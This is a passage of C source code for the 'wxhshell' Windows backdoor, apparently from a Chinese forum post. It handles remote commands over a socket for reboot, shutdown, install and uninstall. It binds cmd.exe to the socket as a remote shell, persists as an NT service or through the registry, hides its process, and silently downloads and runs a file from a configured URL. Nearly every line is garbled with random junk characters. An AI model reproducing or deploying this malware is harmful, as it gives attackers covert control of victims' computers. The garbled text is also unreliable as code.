b\f O8{k  
    switch(cmd[0]) { #x@$ lc=k3  
  oueC  
  // 帮助 ]dVGUG8  
  case '?': { 4>YR{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); cs48*+m  
    break; _r#Z}HK  
  } ZT*ydln  
  // 安装 *YI98  
  case 'i': { Y+pHd\$-4  
    if(Install()) _IMW {  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e v}S+!|U  
    else +SzU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3qgS&js 7  
    break; uuEV_"X  
    } 6dQ-HI*Y#  
  // 卸载 #&+{mCjs  
  case 'r': { 4X/-4'  
    if(Uninstall()) 3=#<X-);  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E#RDqL*J  
    else !"AvY y9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m~BAyk^jo3  
    break; TJd)K$O>  
    } .D~;u-%|F  
  // 显示 wxhshell 所在路径 fy1|$d{'  
  case 'p': { Mc lkEfn  
    char svExeFile[MAX_PATH]; ]2A^1Del  
    strcpy(svExeFile,"\n\r"); ;7*[Bcj.  
      strcat(svExeFile,ExeFile); >fG3K`  
        send(wsh,svExeFile,strlen(svExeFile),0); 6{K,c@VFd  
    break; _`$qBw.Nx  
    } KRbvj  
  // 重启 c2SO3g\"i  
  case 'b': { >dXGee>'M  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); e)IzQ7Zex  
    if(Boot(REBOOT)) 2y\E[jA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _rMg}F"  
    else { AF{\6<m  
    closesocket(wsh); yZ7&b&2nLn  
    ExitThread(0); (y'hyJo  
    } zC:ASt  
    break; krxo"WgD  
    } OG~gFZr)6  
  // 关机 n)/z0n!\  
  case 'd': { r+!YI k  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \<h0Q,e  
    if(Boot(SHUTDOWN)) -/B+T>[nTb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z3e| UAif  
    else { /V8 #[9K  
    closesocket(wsh); yqs4[C  
    ExitThread(0); C.:<-xo  
    } u]wZQl#-  
    break; .8g)av+  
    } ~%F9%=  
  // 获取shell !.$I["/=  
  case 's': { CZe ]kXNv  
    CmdShell(wsh); .~db4d]  
    closesocket(wsh); KM0ru  
    ExitThread(0); X56q-|  
    break; wo}H'Q}Hj  
  } }v;V=%N+v  
  // 退出 '6`3(TK.a  
  case 'x': { yf)%%&  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3Aip}<1  
    CloseIt(wsh); Mexk~z A^  
    break; ;a!S!% .h  
    } S>+|OCl";  
  // 离开 ^#-l q)  
  case 'q': { @s>Czm5  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  N];NAMp  
    closesocket(wsh); r r %V.r;2  
    WSACleanup(); &AMl:@p9  
    exit(1); urc| D0n  
    break; +QavYqPF  
        } ^0 )g/`H^>  
  } G't$Qx,IC  
  } f)rq%N &  
FkDmP`Od  
  // 提示信息 %Xd[(Q)  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5ta `%R_  
} (#c*M?g3  
  } f`(UQJ  
M^Yh|%M  
  return; q_8+HEvo  
} \w>y`\6mX  
hFUlNJ  
// shell模块句柄 Q}JOU  
int CmdShell(SOCKET sock) 2W(s(-hD  
{ I|!OY`ko  
STARTUPINFO si; 8%mu8l  
ZeroMemory(&si,sizeof(si)); q$UJ$ 7=f8  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5I;&mW`1,`  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "cGk)s  
PROCESS_INFORMATION ProcessInfo; 0o4XUW   
char cmdline[]="cmd"; s) t@ol  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); p>N(Typ0b  
  return 0; *R,5h2;  
} `hm-.@f,9  
?<,l3pwqa  
// 自身启动模式 A2FYBM`Q&D  
int StartFromService(void) h4}84}5d  
{ ]cvwIc">  
typedef struct 0auYG><=  
{ FUzzB94a  
  DWORD ExitStatus; By,eETU]  
  DWORD PebBaseAddress; b_krk\e@S  
  DWORD AffinityMask; ,ng Cv;s  
  DWORD BasePriority; <=&`ZH   
  ULONG UniqueProcessId; gg/-k;@ Rf  
  ULONG InheritedFromUniqueProcessId; iVr JQ  
}   PROCESS_BASIC_INFORMATION; ^CH=O|8j  
2'Uu:Y^  
PROCNTQSIP NtQueryInformationProcess; 3`?7 <YJ  
}6~hEc*/"  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Y-z(zS^1  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #z%fx   
{fM'6;ak  
  HANDLE             hProcess; ">nxHU  
  PROCESS_BASIC_INFORMATION pbi; VGN5<?PrN  
Oo~; L,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  }v{LRRi  
  if(NULL == hInst ) return 0; MchA{p&Ol  
{Mk6T1Bkq  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `(;m?<%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /}Axf"OE  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |-ALklXr  
Rv>-4@fMJ  
  if (!NtQueryInformationProcess) return 0; =XQ%t @z0  
RP|`HkP-2  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?$pCsBDo  
  if(!hProcess) return 0; y Pp9\[+^j  
cVpp-Z|s8  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; IPpN@  
y.k~Y0  
  CloseHandle(hProcess); !BF; >f`  
^7*11%Q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >Tx?%nQ  
if(hProcess==NULL) return 0; TX/Xt7#R:  
,p a {qne  
HMODULE hMod; 'Is kWgc  
char procName[255]; t?gic9 q  
unsigned long cbNeeded; T!{w~'=F  
^76]0`gS  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); WU` rh^  
|Ez>J+uye(  
  CloseHandle(hProcess); 6MW{,N  
P+sW[:  
if(strstr(procName,"services")) return 1; // 以服务启动 3?yg\  
]EAO+x9  
  return 0; // 注册表启动 i]4I [!  
} n@i HFBb  
WwFm*4{[o  
// 主模块 r6qj7}\  
int StartWxhshell(LPSTR lpCmdLine) >=>2m2z=  
{ Or+U@vAnk  
  SOCKET wsl;  _[3D  
BOOL val=TRUE; o|:b;\)b  
  int port=0; "sCRdx]_  
  struct sockaddr_in door; +\A,&;!SR  
Qv-_ jZ  
  if(wscfg.ws_autoins) Install(); rlLMT6r.8  
q;CiV  
port=atoi(lpCmdLine); *fxG?}YT  
ioCsV  
if(port<=0) port=wscfg.ws_port; aXYY:;  
G` A4|+W"  
  WSADATA data; zw[m9N5\h  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; EVSX.'&f  
AT3Mlz~7#  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   _{KG 4+5\X  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ND;#7/$>  
  door.sin_family = AF_INET; cI*;k.KU  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); m(!FHPvN  
  door.sin_port = htons(port); Fxz"DZY6  
[q -h|m  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { kevrsV]/$  
closesocket(wsl); " 8MF_Gu):  
return 1; 7$=In K  
} KpGhQdR#  
"+s++@ z  
  if(listen(wsl,2) == INVALID_SOCKET) { =,8]nwgo  
closesocket(wsl); HV|,}Wks6s  
return 1; r19 pZAc  
} X"Swi&4  
  Wxhshell(wsl); +\9NDfYIA  
  WSACleanup(); H <l7ZS:  
a=2%4Wmz  
return 0; CdQ!GS<'y  
t{96p77)=  
} +<C!U'  
K%oG,-wdg  
// 以NT服务方式启动 D,feF9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,qxu|9L  
{ bn5 Su=]  
DWORD   status = 0; 5j(k:a+!H  
  DWORD   specificError = 0xfffffff; ~>|ziHx  
.q>iXE_c  
  serviceStatus.dwServiceType     = SERVICE_WIN32; iBa A9  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; $& td=OK  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; e"<OELA  
  serviceStatus.dwWin32ExitCode     = 0; VPo".BvG6  
  serviceStatus.dwServiceSpecificExitCode = 0; ,z jv7$L  
  serviceStatus.dwCheckPoint       = 0; ":ue-=&M  
  serviceStatus.dwWaitHint       = 0; MTn{d  
(<9u-HF#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8A# ;WG  
  if (hServiceStatusHandle==0) return; 4hj|cCrO  
=^?/+p8 k  
status = GetLastError(); Zy/_ E@C}u  
  if (status!=NO_ERROR) hgq;`_;1,  
{ 0=YI@@n)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; W<g1<z\f  
    serviceStatus.dwCheckPoint       = 0; {IjR^J=k  
    serviceStatus.dwWaitHint       = 0; n[rCQdM&U"  
    serviceStatus.dwWin32ExitCode     = status; $UwCMPs X  
    serviceStatus.dwServiceSpecificExitCode = specificError; ]f_p 8?j"  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2^7`mES  
    return; ~xFkU#  
  } QXK{bxwC  
W=?<<dVYD  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Z`i(qCAd(  
  serviceStatus.dwCheckPoint       = 0; %N._w!N<5n  
  serviceStatus.dwWaitHint       = 0; 6gDN`e,@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {Sh ;(.u^  
} z$sT !QL~  
9 68Ez  
// 处理NT服务事件,比如:启动、停止 Pq$n5fZC !  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1% `Rs  
{ ? r4>"[  
switch(fdwControl) =3P)q"  
{ :ws<-Qy  
case SERVICE_CONTROL_STOP: At;LO9T3z  
  serviceStatus.dwWin32ExitCode = 0; h?U O&(  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3v-~K)hl?  
  serviceStatus.dwCheckPoint   = 0; Vurq t_nb  
  serviceStatus.dwWaitHint     = 0; %cn<ych G  
  { dZuOrTplA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); UEL _uij  
  } 307I$*%W  
  return; KI.hy2?e  
case SERVICE_CONTROL_PAUSE: vY3h3o  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; n@3>6_^rwT  
  break; [-w%/D%@  
case SERVICE_CONTROL_CONTINUE: y~V(aih}D  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .xkM.g4{~  
  break; i|kRK7[6B  
case SERVICE_CONTROL_INTERROGATE: ?Bmb' 3  
  break; !4!~L k=  
};  bN.Pex  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Id9TG/H7  
} er\|i. Y  
L~3Pm%{@A  
// 标准应用程序主函数 0jfuBj5!  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4+tEFxvX&  
{ ['D]>Ot68  
U<XG{<2  
// 获取操作系统版本 "dlV k~  
OsIsNt=GetOsVer(); XjBD{m(  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7_t'( /yu  
zQ PQ  
  // 从命令行安装 #-J>NWdt  
  if(strpbrk(lpCmdLine,"iI")) Install(); fP1! )po  
e3\T)x &=  
  // 下载执行文件 !,PWb3S  
if(wscfg.ws_downexe) { j>kqz>3  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /9X7A;O  
  WinExec(wscfg.ws_filenam,SW_HIDE); Hn:Crl y#  
} b.938#3,  
<UCl@5g&  
if(!OsIsNt) { /wG2vE8e  
// 如果时win9x,隐藏进程并且设置为注册表启动 '+ ?X  
HideProc(); +7}]E1Uf  
StartWxhshell(lpCmdLine); b,@/!ia  
} I-)4YQI  
else HaYo!.(Fv  
  if(StartFromService()) ;*J  
  // 以服务方式启动 xSu >  
  StartServiceCtrlDispatcher(DispatchTable); ,r}6iFu  
else ,,r>,Xq 6  
  // 普通方式启动 7:@'B|  
  StartWxhshell(lpCmdLine); AXB7oV,xt  
Ys7]B9/1O  
return 0; y{Q {'De  
}
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只看该作者 1 发表于: 2006-10-10
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